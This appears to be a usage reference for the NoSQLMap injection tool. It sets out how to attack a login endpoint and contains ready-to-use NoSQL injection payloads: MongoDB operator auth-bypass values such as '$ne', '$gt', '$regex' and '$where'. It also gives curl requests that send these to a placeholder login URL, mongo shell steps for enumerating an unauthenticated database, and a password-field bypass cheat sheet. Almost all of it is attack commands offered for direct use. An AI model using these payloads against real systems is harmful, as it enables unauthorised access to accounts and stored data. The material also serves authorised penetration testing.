aeondave/nosqlmap

NoSQLMap

Automated NoSQL injection and exploitation — MongoDB, CouchDB, server-side JS injection.

Quick Start

git clone https://github.com/codingo/NoSQLMap
cd NoSQLMap && python3 setup.py install

# Launch interactive menu
python3 nosqlmap.py

# Or direct web app attack
python3 nosqlmap.py --attack 3

Interactive Menu

Main Menu:
  1 - Set options (target, port, URI)
  2 - NoSQL DB Access Attacks       # Direct DB connection exploits
  3 - NoSQL Web App Attacks         # HTTP injection via web app
  4 - Scan for Anonymous MongoDB Access
  x - Exit

Web App Attack Setup (Option 3)

Set options first:
  1 - Set target host: target.com
  2 - Set web app port: 443
  3 - Set URI: /api/login
  4 - Set HTTP method: POST
  5 - Set POST data: {"username":"admin","password":"test"}
  6 - Set parameter to attack: password

Then run:
  3 - Assess NoSQL injections       # Test all injection types
  4 - MongoDB injection             # Focused MongoDB test

Injection Techniques

| Technique | Payload | Effect | |-----------|---------|--------| | Auth Bypass | {"$ne": "invalid"} | Matches anything != value | | Auth Bypass | {"$gt": ""} | Matches anything > empty | | Regex | {"$regex": ".*"} | Matches all via regex | | Where | {"$where": "1==1"} | Server-side JS eval | | Array | ["admin", "user"] | Array injection |

Raw Manual Payloads

# JSON body — auth bypass
curl -s -X POST https://target.com/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$ne": "wrongpass"}}'

# URL parameter — array injection
curl "https://target.com/api?user[$ne]=invalid"

# PHP-style param array
curl "https://target.com/api?user[$regex]=.*&password[$ne]=invalid"

Direct MongoDB Access Attacks (Option 2)

Requires network access to MongoDB port (27017):

# Anonymous access scan (no creds required)
python3 nosqlmap.py --attack 4 --rhost 10.0.0.1

# Enumerate databases on open MongoDB
mongo --host target.com --port 27017
> show dbs
> use admin
> show collections
> db.users.find()

NoSQLMap Flags (Direct Mode)

| Flag | Purpose | |------|---------| | --attack <n> | Attack mode: 2=DB access, 3=web app, 4=anon scan | | --rhost <host> | Target host | | --rport <port> | Target port (default: 27017 for MongoDB) | | --webPort <port> | Web app port (default: 80) | | --uri <path> | Web URI path | | --httpMethod <m> | GET or POST | | --postData <data> | POST body | | --injectedParam <p> | Parameter to inject | | --verbose | Verbose output |

MongoDB Auth Bypass Cheat Sheet

// Login forms — try these as password values:
{"$ne": null}
{"$ne": "x"}
{"$gt": ""}
{"$gte": ""}
{"$regex": ".*"}
{"$where": "1==1"}

// Username + password bypass combo:
// username: admin, password: {"$ne": "x"}
// username: {"$regex": "admin.*"}, password: {"$ne": "x"}

References

• NoSQLMap GitHub
• NoSQL injection payloads: references/nosql-payloads.md
• HackTricks NoSQL Injection